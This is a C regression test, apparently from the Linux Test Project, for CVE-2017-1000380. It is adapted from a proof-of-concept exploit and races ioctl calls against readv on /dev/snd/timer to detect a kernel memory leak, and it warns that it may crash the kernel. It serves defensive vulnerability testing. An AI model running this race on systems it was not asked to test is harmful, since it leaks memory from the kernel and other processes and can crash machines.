1 // SPDX-License-Identifier: GPL-2.0-or-later
2
3 /* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
4 * Regression test for CVE-2017-1000380 based on the original PoC exploit
5 * by Alexander Potapenko <glider@google.com>
6 *
7 * Be careful! This test may crash your kernel!
8 *
9 * The test performs several ioctl() parallel with readv() on the same
10 * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
11 * to the process, which may contain information from the the kernel or
12 * any other process on the system.
13 *
14 * The issue was fixed with
15 * http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
16 * http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
17 */
18
19 #include "config.h"
20 #include "tst_test.h"
21 #include "tst_fuzzy_sync.h"
22 #include "tst_safe_macros.h"
23 #include "tst_safe_pthread.h"
24
25 #include <errno.h>
26 #include <fcntl.h>
27 #include <pthread.h>
28 #include <stdio.h>
29 #include <string.h>
30 #include <sys/uio.h>
31 #include <sys/ioctl.h>
32 #include <sound/asound.h>
33
34 #define MAX_BUFSIZE 1024
35
36 static int snd_fd;
37 static struct tst_fzsync_pair fzsync_pair;
38
ioctl_thread(void * unused)39 static void *ioctl_thread(void *unused)
40 {
41 int tread_arg = 1;
42 struct snd_timer_select ts;
43 struct snd_timer_params tp;
44
45 memset(&ts, 0, sizeof(ts));
46 ts.id.dev_class = 1;
47
48 memset(&tp, 0, sizeof(tp));
49 tp.ticks = 1;
50 tp.filter = 0xf;
51
52 while (tst_fzsync_run_b(&fzsync_pair)) {
53
54 ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
55
56 ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
57
58 ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
59
60 ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
61
62 tst_fzsync_end_race_b(&fzsync_pair);
63 }
64 return unused;
65 }
66
setup(void)67 static void setup(void)
68 {
69 if(access("/dev/snd/timer", F_OK))
70 tst_brk(TCONF, "The file '/dev/snd/timer' is not exist");
71
72 tst_fzsync_pair_init(&fzsync_pair);
73 snd_fd = SAFE_OPEN("/dev/snd/timer",
74 O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
75 }
76
cleanup(void)77 static void cleanup(void)
78 {
79 if (snd_fd > 0)
80 SAFE_CLOSE(snd_fd);
81 }
82
run(void)83 static void run(void)
84 {
85 size_t len;
86 int size;
87 struct iovec iov;
88 pthread_t th;
89 char read_buf[MAX_BUFSIZE];
90 int i, nz;
91 pthread_attr_t thread_attr;
92
93 pthread_attr_init(&thread_attr);
94 pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
95 SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
96
97 iov.iov_base = read_buf;
98 iov.iov_len = sizeof(read_buf) - 1;
99
100 tst_fzsync_pair_reset(&fzsync_pair, NULL);
101 while (tst_fzsync_run_a(&fzsync_pair)) {
102 nz = 0;
103 memset(read_buf, 0, sizeof(read_buf));
104 size = readv(snd_fd, &iov, 1);
105
106 tst_fzsync_end_race_a(&fzsync_pair);
107
108 /* check if it could be a valid ioctl result */
109 if (size == 0)
110 continue;
111
112 /* check if the buffer is non-empty */
113 for (i = 0; i < size; i++) {
114 if (read_buf[i]) {
115 nz = 1;
116 break;
117 }
118 }
119 if (!nz)
120 continue;
121
122 len = strlen(read_buf);
123 /* the kernel's struct snd_timer_read is two unsigned integers*/
124 if (len <= 2 * sizeof(unsigned int))
125 continue;
126
127 tst_res(TFAIL, "kernel seems vulnerable");
128 return;
129 }
130
131 if (tst_taint_check() != 0)
132 tst_res(TFAIL, "kernel seems vulnerable");
133 else
134 tst_res(TPASS, "kernel seems not vulnerable");
135 }
136
137 static struct tst_test test = {
138 .test_all = run,
139 .setup = setup,
140 .cleanup = cleanup,
141 .taint_check = TST_TAINT_W | TST_TAINT_D,
142 .tags = (const struct tst_tag[]) {
143 {"linux-git", "d11662f4f798"},
144 {"linux-git", "ba3021b2c79b"},
145 {"CVE", "2017-1000380"},
146 {}
147 }
148 };
149